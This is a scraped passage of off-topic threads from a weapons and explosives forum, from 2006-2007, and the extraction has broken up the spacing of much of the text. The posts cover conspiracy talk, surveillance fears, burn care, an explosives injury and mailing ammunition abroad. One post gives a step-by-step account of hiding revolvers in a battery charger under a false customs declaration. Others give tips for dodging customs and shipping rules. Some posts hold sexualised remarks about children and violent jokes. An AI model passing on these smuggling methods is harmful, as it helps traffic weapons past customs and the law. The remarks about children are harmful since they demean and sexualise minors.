urban legend type fact, "om g evil drug s" and the like. It seem s t o b e t h e m o s t r a t i o n a l e x p l a n a t i o n though.
I actually think that the earlie r p u b e r t y i s d u e t o i m p r o v e d m e d icine becaus e illness can s l o w d e v e l o p m e n t , t h a t s t h e

e x p l a n a t i o n f o r t o d a y s y o uth being taller than they were 40 yea r s a g o .
I'd definately conside r that an other contributing factor. Also keep in mind better nuitrition being added to food (no m atter how
m uch those teens try to starch them se lves out of it!) and better living conditions, all beneficial towards growing at a faster rate.
Another thing is, we don't know what the pictures were they were showing to the m en in the Kent study.
W ere they seeing pictures of ugly adult fem ales VS. whored-up pedo-bait of 12 (going on 30) year olds? Ever seen JonBenet
R a m sey? She was being whored-up by her parents at 4.
Definately very valid information. If they showe d well developed 11 year olds (or 11.999 year olds to fudge the results)
o b v i o u s l y t h e r e s p o n s e i s g o i n g t o b e d i f f e r e n t t h a n s o m e 6 y e a r old.
I found the loli/not lo li pic on 4chan and sent it to m ega during a previous discussion we had on the recurring plot them e s i n
hentai, of wh ich I'd swear there's only 10.
In m y m ind, I picture NBK as he described him self in his fictional work, as a m a s s i v e m o n s t e r b o r n in the nightm ares of m e n .
A n d h e i s h a v i n g a p a s s i o n a t e d e b a t e w i t h s o m e guy in a lab coat about the plots of hentai, while the legio n s o f d o o m l o o k
on, shifting slightly uncomfortably.
There's definitely som ething in the AIR that gets them pregnant young, though... their FEET! ;)
And Fester com es through for the win :D That had m e laughing pretty good.
ShadowMyGeekSpace Novem ber 7th, 2006, 02:57 AM

In m y m ind, I picture NBK as he described him self in his fictional work, as a m a s s i v e m o n s t e r b o r n in the nightm ares of m e n .
A n d h e i s h a v i n g a p a s s i o n a t e d e b a t e w i t h s o m e guy in a lab coat about the plots of hentai, while the legio n s o f d o o m l o o k
on, shifting slightly uncomfortably.The scary thing is you wouldn't think twice if he walked past you.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > South Park makes a reference to "sheeple"
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Minion5 October 11th, 2006, 11:23 PM

That's correct. The new episode in which president bush kills the webmaster after explaining to the boys what "really" happened on 911.
Boys: Wha...why did you do this to these people?!

George Bush: People? ...you mean "sheeple..." (government agents and bush begin to laugh)
Has anyone else seen this "ground-breaking" episode?

Has anyone else seen this "ground-breaking" episode?
No but Id love to, do you know what the episode is named or its number?
I hope this does, and I believe it will alert the youth soon to become the more powerful, older and noble people of the future to believe the truth behind the attacks and the
wars that followed, not to mention the bullshit terrorist situations were in and how none of it makes sense.
This then reminds me of what one of my friends believes who I was talking to the other day, he also knew of how much bullshit the media puts into their stories. I explained
things like the evidence behind bin laden not planing 9/11, how impossible the liquid explosives terrorist plots were and lots of stuff about the wars which he agreed to.
He wasnt a very likely person to think in this way compared to my other friends.

That would be season 10 episode 9 if it was the one from this past Wednesday, 10/11/2006. You can get all the Southpark episodes at http://mrtwig.net/ a torrent website
that focuses solely on Southpark torrents. I just watched the world of warcraft one yesterday, but the new one was not yet on TV before I left.

Thank you mega :D :D :D
I've been looking for something like that for ages.
Thank you again. :D
Minion5 October 22nd, 2006, 02:30 AM

That would be season 10 episode 9 if it was the one from this past Wednesday, 10/11/2006. You can get all the Southpark episodes at http://mrtwig.net/ a torrent website
that focuses solely on Southpark torrents. I just watched the world of warcraft one yesterday, but the new one was not yet on TV before I left.
Wow...megalomania watches South Park?

That's new. :cool:
megalomania October 23rd, 2006, 01:45 PM

What's so bad abut that? I love South Park. I also enjoy The Sopranos, Rome, Deadwood, Law & Order (original and SVU, but no others), CSI (only the Vegas one), Battlestar
Gallactica, It's Always Sunny in Philadelphia, Saturday Night Live, The Shield, and a few others I don't watch as religiously as these.
This is the first year I have not bothered to watch all of the new shows. I try to watch all of the pilots just in case something is good. Now, if it is good, I will wait until the
summer when I have more time and just download the entire season as a torrent. If the show is any good, the torrent will be popular; that's my theory. I much prefer
watching several episodes at once rather than waiting some months (like with cliff hangers) in between.
akinrog October 25th, 2006, 05:51 AM

What's so bad abut that? I love South Park. I also enjoy The Sopranos, Rome, Deadwood, Law & Order (original and SVU, but no others), CSI (only the Vegas one), Battlestar
Gallactica, It's Always Sunny in Philadelphia, Saturday Night Live, The Shield, and a few others I don't watch as religiously as these.
I also enjoy and love the most of the stuff you are watching. :)
While I love southpark very much (since it's very sarcastic), I was amazed the most by Battlestar Galactica. These series (the old ones) were my youth's favorite and these
new episodes are really good and fun since they contain CGI better than the old ones. However my conservative (American) friends did not like them, because the main theme
shows the mono-theistic people as evil. :D

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Is this a joke or am I
dreaming?
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http://news.bbc.co.uk/1/hi/technology/6044310.stm
I t s e e m s t h a t to 'aid the fight against terrorism ', the go vernm ent are actually con sidering putting radio tags on us to track our
locations! :eek:
Acco rding to BBC , "Th e prototype technology is to be tested at an airport in Hungary, and could, if successful, becom e a reality
in two years."
Ok, so it's only for airports, but, let's face it, it's unlikely to stay that way.
" T h e t a g s d o not store any da ta, but e mit a signal containing a unique ID which could be cross-referenced with passenger
iden tification information. In the future, added Dr Brennan, this could incorporate biom etric data."
I'm sure we're all ove rjoyed that our every m ovement's going to be track ed by our caring nanny state. :rolleyes:
Jacks Complete October 12th , 2 0 0 6 , 0 4 : 1 7 P M

The UK has been pushing this for years, just like the whole gun control thing can be traced back here. When it doesn't work,
they sim ply try for m ore powers. When that fails and there is nothing left to ban, they im press on other countries to do it too.
They wanted to bring in ID cards with biom etrics and RFID tags for everyone. Then it was realised that we fought the Nazis to
stop this, fought the Soviets to stop th is, and now we are worse off than they ever were from a libe rty perspective! I'm not sure
why the ID plan suddenly went quiet, it's probably som e way of getting it passed as a law then hidden so people can't com p l a i n
until it is too late. :-(
Hirudinea October 12th , 2 0 0 6 , 0 9 : 3 3 P M

Thats government for you, when you can't do a nything right, do everything wrong so you look like your doing som thing.
hst45 October 14th , 2 0 0 6 , 0 4 : 0 7 P M

"It's not for us, we must do it FO R THE CHILDREN." That's code for "we're doing it so we can keep track of you, but we have to
sell it to the sheeple."
How long will it be before cash is illegal? After all, who needs to m a k e u n t r a c e a b l e p u r c h a s e s e x c e p t d r u g - d ealers, terrorists
and child-raper-perve rts? If all m onetary transactions were via electronic m edia they would all be easily traceable. How better to
keep an eye on everyones actions than to track every transaction? And a s a bonus there would be no m ore taxes lost from
under-the-table labor.
Shit, I better not post this; it m i g h t g i v e t h e m a n i d e a .

Alas, I think that the idea's already there. Enjoy your limited freedom while you can ;) .
It's not that ridiculous to consider a society where you're imprisoned/executed for thinking 'terrorist' though ts...

It's not that ridiculous to consider a society where you're imprisoned/executed for thinking 'terrorist' though ts...
T h e r e a r e p e ople still alive today that have live d in such societie s, and there are m any societies still in existence today that do
this very thin g. For those idiots who think people are pa ranoid for thinkin g this could happ en in Am erica, look aroun d you.
These countries exist, they have existed since the formation of Am erica, and they still exist in m odern tim e ! I t c a n h a p p e n ,
and it looks like it W I L L h a p p e n .

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > I didn't expect it to start so
soon.
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Marmaloon October 14th , 2006, 01:21 AM

,,,,,,,,,,,,,,,,,,,,,,,,

''''''''''''''''''''''
billybobjoe October 14th , 2006, 01:37 AM

I s t h i s s o m e k i n d o f j o k e , a m I m issin g s o m e t h i n g , p e r h a p s ? : c o n f u s e d :
Maybe NBK2000 will k ill you and then sodomize your corpse like a red-headed step-child. :D

H e c o u l d h a v e d e c i d e d t h a t h e w a n t e d t o d e l a t e h i s p o s t b u t i n s t e a d o f l e a v i n g a m e s s a g e h e p u t s o m e r a n d o m characters, or
h e c o u l d h a v e l e f t t h e " R e m e m ber Me" button clicked and someone could have got onto his account.

Sorry guys, it's a privacy thing, I'll explain it later once I get an em ail I'm waiting for. Could be a few days before th at
happens. Y'all have a good weekend.

A privacy thing posted in the watercooler that is just random characters?
nbk2000 October 14th , 2006, 02:38 AM

He'll have all the privacy he'll ever wan t in the BFL, because he's gone. :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Soviet Agent Hides
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mrtnira October 14th , 2006, 11:42 AM

I was once in an acquisition-relationship with a policem an in the former Soviet Union. This gave m e a great opportunity to
acce s s c o m p l i a t i o n d o c u m e n t s m ost in the W est didn't have access to or see.
I was able to get ahold of a book in which there are examples of agent hides. The pictures were drawn during the Soviet
p e r i o d . T h e b o o k i s a c o m p i l a t i o n o f a g e n t a n d spetsna z training from the Second World W ar and the Cold War. Also, the
Soviets (and their allies) spon sored terrorist training through the m i d - 1 9 8 0 s .
I bring up the background to put the im ages in to perspective.
Inform ation is where you find it, and it is the sam e for ideas. If the Soviets trained terrorists for 20 years, and a percentage of
t h e s e f e d i n t o t h e p o s t - 1 9 9 0 a n t i - W e s t m o v e m ent that we fight today, then som e o f t h e i d e a s f r o m the ea rly training may
thread into field craft practiced by mod ern terro rists.
Also, operatives from form er W ARSAW Pact countries under form er Soviet instruction (East German y, Poland, etc.) h ired out as
m ercenaries and trainers after the collapse of the W ARSAW Pact. So, the data m ay have broader reach than we kno w.
I d o u b t m a n y p e o p l e g o t o t h e t r o u b l e to m ake the hides shown in the d rawings, but it is som ething to think about.
A l s o , I h a v e s o m e s c a n s o f p e r s o n a l c o m bat training aids, obstacle courses used by the Spetsnaz, and som e e x a m p l e s o f
knife training. Also, there are som e examples of how not to leave a trail, and how to avoid police dogs.
I would never advocate any one try to avoid the police by fleeing. It only makes m atters worse. Th at is my truthful position.
The inform ation by itself is simply fascinating, especially knowing that agents and operatives of the WAR SAW Pact were
practicing this.
M a n y p e o p l e i n t h e f o r u m have an honest interest in the details of m ilita ry history, m ilitary science , and operational art. This is
a s u b-set of those disciplines.
I a m not yet allowed to post attachments, can I send them to som e o n e f o r p o s t i n g ?
teshilo October 14th , 2 0 0 6 , 1 2 : 0 3 P M

I was able to get ahold of a book in which there are examples of agent hides. The pictures were drawn during the Soviet
p e r i o d . T h e b o o k i s a c o m p i l a t i o n o f a g e n t a n d spetsna z training from the Second World W ar and the Cold War. Also, the
Soviets (and their allies) spon sored terrorist training through the m i d - 1 9 8 0 s .
I bring up the background to put the im ages in to perspective.
Inform ation is where you find it, and it is the sam e for ideas. If the Soviets trained terrorists for 20 years, and a percentage of
t h e s e f e d i n t o t h e p o s t - 1 9 9 0 a n t i - W e s t m o v e m ent that we fight today, then som e o f t h e i d e a s f r o m the ea rly training may
thread into field craft practiced by mod ern terro rists.
A s t h e s e b o o k o r m a n u a l n a m ed? Yes, Soviets a twenty years ago training "terrorists", as CIA trained m ain USA frie nd U.B.L
:rolleyes:
Sausagemit October 14th , 2 0 0 6 , 0 2 : 0 4 P M

I a m not yet allowed to post attachments, can I send them to som e o n e f o r p o s t i n g ?
You could allways upload them to rapidshare and post the link h ere.
Defendu October 14th , 2 0 0 6 , 0 3 : 2 7 P M

U p l o a d t h e m to:
http://www.tinypic.com
a n d a d d b e f o r e t h e U RLs and after.
If tinypic doesn't work try im a g e h o s t i n g . c o m

Y o u c a n a d d a t t a c h m e n t s m rtnira...
mrtnira October 16th , 2 0 0 6 , 1 1 : 0 0 P M

I hope this works for you. The text is in Russian. The im ages tell the story.
How to place a rural agent hide (choosing a site).

http://i10.tin ypic.com /2yzm 0r8.jpg
F o l l o w e d b y s e v e r a l p a g e s o f h a n d d r a w n e x a m ples of agent hid e s . T h e s e w o u l d h a v e o f t h e S e c o n d W o r l d W a r , o r s o m e

e x a m ples from hides in the W e s t , i f s a f e h o u s e s w e r e n o t u s e d . T h e h a n d d r a w n e x a m p l e s a r e n o t engineering plans, but
they comm unicate clearly enough. An agent and his in-country support wouldn't necessarily be eng ineers, but would m ost lik ely
be regular people. Having a concept would help people know what to m ove toward, but not necessarily tell them how to
engineer it. That would be up to them , according to their circum stance.
http://i9.tinypic.com/2rqy81i.jpg
http://i9.tinypic.com/2iks94o.jpg
http://i9.tinypic.com/40psbqq.jpg
http://i10.tin ypic.com /2u87zuv.jpg
Like a lot of Second World W ar im agery that got brought forward into later Soviet manuals, the ela borate hides probably reflect
o n e s d o n e b e h i n d G e rm an lines by Partisans under the direction of the NKVD. I doubt that m a n y e l a b o r a t e h i d e s w e r e m a d e in
the W est during the Cold W ar, althoug h a coup l e o f s m a l l e r o n e s m a y h a v e b e e n dug. By the tim e of the Cold War, it would
h a v e b e e n m uch easier to mo v e p e o p l e b y a s y s t e m o f s y m p a t h i z e r s .
As a m atter of safety, I wouldn't recom m e n d b u i l d i n g o n e . W o o d u s e d i n things like this rots quick ly, and cave-ins can occur.
Also, carbon monoxide builds up in low places. However, for students of m ilitary history and operational art the diag ram s tell a
story.
TreverSlyFox October 17th , 2 0 0 6 , 0 8 : 3 1 P M

Interesting m aterial, and I've seen them before only they were not in Ru ssian.
Back in the mid 60's in our Guerrilla Warfare/Anti-GW classes du ring the Viet Nam era, 10 or 12 pa g e p a m phlets were passed
out and several were on constructing and locating "hides". Several of these diagrams (or some very sim ular) were included in
t h e p a m phlets during a class given by the Com bat Engineers on construction and demolition of hides.
Can't be sure if they'er the ex act sam e diagrams since it's been over 30 years since I took the classes but they sure struck a
bell when I saw them.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > A Russian m e m b e r p e r h a p s ?
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Code Red October 17th , 2006, 11:42 AM

I wonder if this person is/was a m e m b e r h e r e ?
Check out the story a nd pictures here:
http://www.ogrish.com /archives/m an_loses_fingers_after_explosives_m ishap_Oct_12_2 006.htm l
mil&co October 17th , 2 0 0 6 , 0 1 : 2 3 P M

Ouch, looks painfull:p
I wonder what he exa ctly was trying to do. He says something about opening a pack of HMTD?
The dented table looks interesting too, looks like the dent is formed by two circle patterns?

W e will know soon enough, just look for the really slow typist. :-)
c.Tech October 23rd , 2006, 08:30 AM

I wonder what he exa ctly was trying to do. He says something about opening a pack of HMTD?
Storing HMTD or other sensitive explosives is a bad idea, I know DADP (di acetone di peroxide) evaporates and recrystallises
around the e dge of container lids which when opened creates enough friction to detonate.
HMT D on the other h a n d , e v e n if it do e s n t e v a p o r a t e t h e particles could float or be m oved in another way around the lid.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Burns
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RacoonKing October 20th , 2006, 12:55 AM

I h a v e r e a d t h a t 3 r d d e g r e e b u r n s a r e p a i n l e s s b u t a m unsure a s to whether it is true or just another urban legend. I know it is
s u p p o s e d t o b e b e c a u s e o f t h e d a m age of nerves to the point they can no longer confer pain.
I know this is slightly off the general topic of th is forum but I was wondering if anyone here had any personal experience or
k n e w s o m e o n e w h o a ctually knew if this was true.
zeocrash October 20th , 2006, 08:07 AM

I don't have personal experience, but i took a first aid course this sum mer and they told m e t h e s a m e thin g there.
++++++
I, I, I!
NBK
nbk2000 October 20th , 2006, 08:49 AM

Third degree burns are painless.
BUT...the treatm ent is agonizing.
Skin grafts entail having a section of h ealthy skin sliced off with a large razor knife, and attached to your burned fle sh...after
they've cut and scrubbed off all the dead tissue, leaving your ba r e m u s c l e t i s s u e e x p o s e d .
M a n y a p e r s o n h a s s c r e a m e d f o r h o u r s d u r i n g t h e s e p r o c e s s e s , a n d m orphine doesn't help. :p
TreverSlyFox October 20th , 2006, 09:26 AM

Though 3rd degree burns are painless it is rare to only have a 3rd degree burn. Most burns radiate outward from 3rd degree at
the center to 2nd degree and then to 1st degree. Cooling the burn area is very im p o r t a n t t o k e e p s a y a 1 s t d e g r e e f r o m g o i n g
t o a 2 n d d e g ree. Even though you've rem oved the heat source the skin will keep burning until the residual heat balances in
the skin.
O n c e y o u ' v e g o t t h e s k i n c o o l e d t h e n e x t s t e p i s t o k e e p c o n t a m ination away, as burns infect quite quickly. On a large burn

area the BEST m ethod is to use NO N - M e n t h o l a t e d S h a v i n g C r e a m . It is clean, pro vides a protective barrier, keeps the burn
m oist, and is easy to wash off in the E-room. Any kind of "burn cream ", butter, petroleum jelly will cause you pain when they
scrub it off to assess the burn. Our am bulances carried 4 or 5 ca ns of NO N - M e t h o l a t e d S h a v i n g C r e a m f o r l a r g e b u r n s a n d t h e
cheap stuff works just as well as the expensive stuff.
nbk2000 October 20th , 2006, 11:10 AM

Search for a copy of SIPRI's Incendiary W eapons, scanned by yours truly ;), that has grea t detail in the treatment of burns and
(obviously) those cau sed by incendiary weapons.
RacoonKing October 20th , 2 0 0 6 , 0 6 : 1 3 P M

Thanks for all the info on the subject. I am glad to have that cleared up.
Skean Dhu October 21st, 2006, 01:41 AM

Also don't apply any burn or a nti-bacterial cream s to the burn until all of the residual heat is gone, beacuse the cream s will act
as a blanket and continue baking yourself.
c.Tech October 22nd, 2006, 05:17 AM

Skin grafts entail having a section of h ealthy skin sliced off with a large razor knife, and attached to your burned fle sh...after
they've cut and scrubbed off all the dead tissue, leaving your ba r e m u s c l e t i s s u e e x p o s e d .
An interesting fact, at s o m e h o s p i t a l s o r l a b s t h e y h a v e b e g u n growing s k i n f o r b u r n t r e a t m e n t s o t h e y d o n t h a v e t o cut it

from another area of you.
Imagine having 1/5th of your body covered in 3rd degree burns, how mu ch skin would need to be grafted to replace the burnt
area?
A l t h o u g h i f y o u h a d 1 / 5 t h o f y o u r b o d y b u r n t t h e r e w o u l d n t b e a g o o d c h a n c e o f surviva l.
pearlcrash911 October 22nd, 2006, 11:02 AM

A l t h o u g h i f y o u h a d 1 / 5 t h o f y o u r b o d y b u r n t t h e r e w o u l d n t b e a g o o d c h a n c e o f surviva l.
Actually 1/5th of your body wo uld not threaten your life as long as it is th ere is not an overwhelm in gly large am o u n t o f s e c o n d
degree burns.
I personally know a m an who was trapped in a burning garage, and survived after 90% of his body was burned.
nbk2000 October 22nd, 2006, 11:37 AM

W ould you want to live after 90% of your flesh has been melted into som ething from a horror m ovie?
Oh, and the constant pain, the social rejection, the look ing in a m irror and seeing a freak?
Not m e...it'd be tim e to check out! :)

3rd degree b u r n s d o n ' t h u r t b e c a u s e t h e y a r e d e e p e n o u g h t o h a v e b u r n e d a w a y t h e p a i n s e n s o r s i n t h e s k i n .
There should probably be a 0th degree burn now, for those new microwave pain/burn weapons that don't dam a g e t h e s k i n b u t
do cause all the pain of a burn until they are turned off. O f course, they turn up the power a bit and you ge t "real" physical
burns.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Mailing ammunition to the UK
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HVD October 20th, 2006, 01:07 AM

Hypothetically, do you think it would be possible to mail back a small amount of (50 rds - 1 box) of handgun ammunition
from the US to the UK, just for shits and giggles? I know they use sniffer dogs to search mail for drugs, but would they actually
Xray every package looking for firearms components / ammunition etc?
Thoughts or experiences please.
nbk2000 October 20th, 2006, 11:03 AM

It might be possible, but it could be possible that all letters and packages are passed through a magnetometer to check for
metal, with any positives getting fluoroscoped.
Another factor would be the caliber of ammuniton.
.22LR is a whole different problem from .50BMG.
Hirudinea October 21st, 2006, 01:31 AM

I don't know about the U.K. but I do know that lots of things get through Canada Customs, I remember once of an AK-47
being mailed here from the states, so since customs can't check everything its worth a shot. (Pun, funny.)
nbk2000 October 21st, 2006, 11:01 AM

What are the penalties if you get caught receiving illegal ammunition? Worth it?
tomu October 21st, 2006, 11:30 AM

This story realy happend!
It was in September 1993. SWIM bought a two revolvers in at a gun shop in Alaska, the bought a big car batteries charger , a
little spanner and a small black towel.
Then SWIM opened the metal cover of the charger box, at first SWIM thought SWIM had to remove the big transfomer but
SWIM need not to do this, it was enough room around the transformer to but the two guns inside the metal box and cover
them with the small black towel.
After that done SWIM closed the cover and but the screws back on. Because the screws were painted black and the use of the
spanner left some marks on the screws SWIM used a black marker pen to touch the screws up were the original black paint
was scratched away from the use of the spanner.
At this point swim went to a paper shop and bought a sturdy cardboard box for oversea shipping. SWIM packed the car
batterie charger with the guns inside very well into the cardboard box and SWIM made sure the packaging wil withstand the
seashipping. SWIM filled in the customs declaration, SWIM wrote batterie charger commercial sample worth 25 $.
SWIM went then to a mailshop to ship the box via seaship to a european country, SWIM made sure it was shipped by sea and
not by airmail. This is important. About six weaks later the recipient got the box delivered without any problems at all. Even if
customs had open the box they would have seen the batteries charger and without any lead or suspicion they wouldn't have
checked any further.
HVD October 21st, 2006, 10:13 PM

It would hypothetically be .22 or 9mm, so nothing too big and fancy.
The trouble with mailing actual weapons back is that you have to purchase them 1st (assuming you purchase them legally
from a gun store, and not on the black market). This involves handing over personal information etc. I don't know how it
works, but I don't think you can just go into a gun shop and buy a handgun without showing ID and waiting for a "cool off"
period etc.
On another note, does anyone know if you can purchase ammunition without having a firearms license in the US (i appreciate
this may vary from state to state) ?
BeerWolf October 22nd, 2006, 01:39 AM

On another note, does anyone know if you can purchase ammunition without having a firearms license in the US (i appreciate
this may vary from state to state) ?
In most of the US, you can walk in to a hardware or sporting goods store, and pay cash, with no information taken. Even many
department stores like Wal-Mart just want to see proof of age if you're young looking. They don't write it down.
Some parts of California take down your ID, and Illinois requires you to show a firearms license to purchase.
HoS October 22nd, 2006, 03:16 PM

In most states there is nothing stoping any free man (And never convicted of a felony) from buying a gun if he is over 18 (21
in some states for handguns). No such thing has a firearms license, atleast in most states. In order to carry a concealed
weapon (in most states) one must pass a corse and pay a small fee to have a CCW license issued.
Storm on the Horizon October 22nd, 2006, 06:32 PM

Plenty of firearms trade hands privately too. This is perfectly legal in most states. A quick browse of the classifieds section of
the local paper and/or nickle ads is a great source of privately owned (no paper work) guns.
nbk2000 October 23rd, 2006, 03:08 AM

Problem is that a lot of papers no longer carry ads for private owner sales of guns. :(
Also, I've heard of stings being set up by ATF or local piggies, to catch people buying guns this way, who would otherwise not
be permitted to own them. :mad:
NGfan January 19th, 2007, 02:16 PM

Well, I don't know about America but in the UK some guys were caught mailing movie handguns adapted for use with live
ammunition. They were making a fortune selling these guns, but after several pickups got lazy and decided to mail them. This
actually worked fine until the Royal Mail sent the guns to the wrong adress and the recipient was asked to sign for a crate of
handguns and ammunition. For some reason he notified the police rather than selling them on...
ShadowMyGeekSpace January 23rd, 2007, 06:30 AM

Ok, time to clear up some things here.
In most states there is nothing stoping any free man (And never convicted of a felony) from buying a gun if he is over
18Correct. It's your constitutional right, but there are some localities that get around it by requiring paperwork that's
impossible to get, or banning certain types of firearms, such as limiting you to only shotguns or something. Example:
California banned .50BMG weapons, and to get around the ban the .510 DTC cartridge was introduced (although the projectile
itself is the same as the .50BMG, the case dimentions are different). See http://en.wikipedia.org/wiki/
0.50_BMG#Legal_controversy
(21 in some states for handguns)In any state you must be 21 or older to purchase from an FFL licensed dealer, because it's
federal law. That doesn't stop you from going to ar15.com and doing a private transfer inbetween two individuals(which is legal
unless they're an FFL dealer). . No such thing has a firearms license, atleast in most states.You're wrong, there's the
mandated FFL(with few exceptions). What's an FFL? A federal firearms license. See http://en.wikipedia.org/wiki/
Federal_Firearms_License In order to carry a concealed weapon (in most states) one must pass a corse and pay a small fee to
have a CCW license issued.All 50 states require a CCW of some kind, and some states(Illinois, Kansas, Nebraska, and
Wisconsin) do not issue. You cannot get a CCW if you are under 21 in most states. Check http://www.packing.org/ out for
more info.
Problem is that a lot of papers no longer carry ads for private owner sales of guns.There's plenty of places for private
transfers, ar15.com being a huge community (full of idiots). Here in Arizona, there's the arizonashooting.com forums. They're
out there, just look for them.
As for mailing of firearms, see http://www.packing.org/state/documents/all_united_states_php17lkrv_co24_usps_regs.doc
edit: Oh shit, forgot. There's a way around the paperwork of shipping firearms, field strip them and send the components
seperated. For example, with an ar15 package the barrel with the lower reciever and ship that in one package, then send the
upper reciever in another package. For a pistol, send the slide and barrel in one package and the frame in another package.
Simple.
Docca January 23rd, 2007, 07:39 AM

Ok, time to clear up some things here.
I've flamed a number of members (and former members, ;) ) for giving out technically incorrect information about firearms
related issues. That is not the case here - ShadowMyGeekSpace's info is pretty much on the mark.
That said, a correction or two...
Regarding the .510DTC, anything over .500 (aside from shotguns) is regarded as a "destructive device" in the U.S. Being that
the .510 uses .500 projectiles you're probably ok, but you're treading on dangerous (we'd better keep an eye on this guy)
territory. Don't get me wrong, the legislation is outrageous - the fact is that this sort of thing is prone to draw federal attention.
All 50 states do not require a CCW of some sort - see Vermont.
Again (to restate BeerWolf) in most states you pay your money and you buy your ammo (assuming you're 21).
ShadowMyGeekSpace appears to have mistaken an "ammo" answer for a "firearm" answer (no biggie). In many states private
firearms sales are barely regulated (but there's plenty of legislative room to get into trouble).
Regarding the original question of mailing ammo to the UK, it can probably be done. The U.S. connection could probably
accomplish his or her end with very little risk. The UK end is looking at a whole lot of trouble and a lot higher likelyhood of
getting tagged.
P.S. I've got to ask, what could one possibly hope to accomplish with 50 rounds of ammo that would be worth the risk? Sure,
Lee Harvey Oswald only needed 3 rounds (conspiracy theories aside), but he had a rifle and (USMC) experience... Delivering
accurate fire on target generally requires practice - regardless of what Hollywood would have you to believe.
ShadowMyGeekSpace January 23rd, 2007, 03:59 PM

Regarding the .510DTC, anything over .500 (aside from shotguns) is regarded as a "destructive device" in the U.S. Being that
the .510 uses .500 projectiles you're probably ok, but you're treading on dangerous (we'd better keep an eye on this guy)
territoryThe cartridge dimentions are different, not the bullet itself. That is to say that the .510 DTC puts the same piece of
metal in the bad guy, the casing just has different dimentions. It's legal. And technically the .50BMG is actually slightly bigger
than .50, it's swaged down to size as it passes through the barrel.
Sure, Lee Harvey Oswald only needed 3 rounds (conspiracy theories aside), but he had a rifle and (USMC) experienceBeing in
the military doesn't mean you're a great shot, it means you're atleast half assed. I've outshot alot of former service men at
ranges, and I've even outshot men who were still enlisted.
Delivering accurate fire on target generally requires practice - regardless of what Hollywood would have you to believe.Yeah,
especially with the bolt action rifle he used :P
My previous mix up (confusing an ammo answer for a firearm answer, sorry) has been editted out of the post. Sorry.
PS: I wasn't attempting a flame with the opening comment on my previous post, I'm sorry if it came off that way.
nbk2000 January 23rd, 2007, 09:34 PM

A destructive device, as define in law, in regards to firearms, is a fixed round projectile of .60 caliber or larger. If you think a
.50 is a 'destructive device', it's because you've been exposed to anti-gun propaganda, knowingly or not.
From the Wikipedia:
Despite speculation that Oswald was a below average marksman, Oswald earned the Sharpshooter weapons qualification
badge with a score of 212 out of 250 targets, average or slightly above average for a Marine, and far above average judged
by civilian standards.
And who knows what kind of training he may have had from the Soviets during his time in russia.
Frunk January 23rd, 2007, 10:27 PM

I got a know friend that mails drug samples (less than an ounce) overseas or over the border all the time mostly for giggles
(he's a member of a roguesci type cannabis-centric forum), so you can be sure they don't use sniffer dogs and they don't
check most packages.
He never got caught.
First, ship priority mail and they often won't have the time to fool around and open your packages. Don't EVER write a return
adress and if they do find the ammo and the police comes ringing, just say that you never saw this package before and you
don't know who would try to send you ammo. You can't possibly be prosecuted because a guy you don't know sent you
something illegal :p
These tips only apply when an item is shipped to/from Canada over the US or France border using Canada Post. I wouldn't try
UPS or the other high-end parcel services.
Feel free to post experimental results of your own tests :D
Docca January 23rd, 2007, 10:52 PM

A destructive device, as define in law, in regards to firearms, is a fixed round projectile of .60 caliber or larger. If you think a
.50 is a 'destructive device', it's because you've been exposed to anti-gun propaganda, knowingly or not.
Probably, unfortunately in this case the anti-gun propaganda is codified.
Title 26 U.S.C. Chapter 53 Subchapter B Part 1 Paragraph 5845:
(f) Destructive device. The term 'destructive device' means (1) any explosive, incendiary, or poison gas (A) bomb, (B)
grenade, (C) rocket having a propellant charge of more than four ounces, (D) missile having an explosive or incendiary charge
of more than one-quarter ounce, (E) mine, or (F) similar device; (2) any type of weapon by whatever name known which will, or
which may be readily converted to, expel a projectile by the action of an explosive or other propellant, the barrel or barrels of
which have a bore of more than one-half inch in diameter, except a shotgun or shotgun shell which the Secretary finds is
generally recognized as particularly suitable for sporting purposes;
I suspect you're thinking of muzzle loaders (like .58 caliber). They fall under a variety of exemptions, assuming the feds
aren't looking for a reason to nail you (in which case all bets are off and jurisprudence may be ignored).:rolleyes:
And no, I would not relish the thought of having to pay someone to convince a U.S. Attorney (and a Federal Judge) that .510
is really just .500. They'd have been far smarter to name that chambering .499 DTC (but of course they were busy skirting
European regulations when they named it).
nbk2000 January 24th, 2007, 03:27 AM

More than half an inch leaves out the .50BMG, and black powder arms do not used fixed ammuntion, so that's exempted to,
by definition.
Everything I've seen defines anything .60 or larger as a DD. When was the federal code passed?
defiant January 24th, 2007, 03:53 AM

NBK: While I usually agree with you, Docca's legal citation and interpretation of the law is 100% correct: .50 cal. is less than
"greater than a half inch". Anything over is illegal for a private citizen to own. Docca earned a rep point.
With regards to shipping live ammo, an alternative is to ship empty shells/cartridges. Its legal to collect militaria in Britain,
isn't it? Dies, bullet molds, and other essential reloading equipment could be shipped at a later date (to the same individual,
or perhaps item by item to their friend/s).
According to my understanding of British/US law, owning or shipping firearm parts is not illegal. The receiver is the regulated
item, and is legally considered the "firearm". Other than the receiver, firearm parts are legal to own. In the US, that includes
full auto parts (but don't store the full auto parts with a semi auto receiver or it could be used as evidence against you of your
intent to manufacture a full auto. Full auto receivers are also illegal if you aren't licensed, even without the assorted parts that
make the receiver a functional full auto.).
Incredibly, receivers can be made with less fuss than firearm shells/cartridges, particularly in the US, where a receivers that is
80% or less finished is not legally defined as or regulated as a receiver.
Docca January 24th, 2007, 05:37 AM

When was the federal code passed?
Apologies, a variety of Google searches on your question did not give me an answer that I am comfortable with.
Near as I can tell, it passed as part of the GCA of 1968. I knew off the top of my head that it had been .5" for years.
defiant - thanks for the vote of confidence. Your ideas on shipping seperate components are excellent (and I think valid). A
note on British law, as I understand it, mere possession of hollowpoints (just the projectile) is a very big legal issue over there
(so I'd stay away from that component).
Regarding "Anything over is illegal for a private citizen to own", that's not quite true either. "Anything over" is a weapon
regulated by the NFA of 1934. If you can get the paperwork through (that's considerable), pay your transfer tax (not too bad
compared to the price of the weapon), and tolerate the feds occasionally showing up to see what you're up to (judge that for
yourself), then NFA weapons are perfectly legal to own (it's much easier if you have a lot of money).
A caveat regarding 80% receivers - defiant is correct, if it's 80% or less it's merely a chunk of aluminum (refering to the fairly
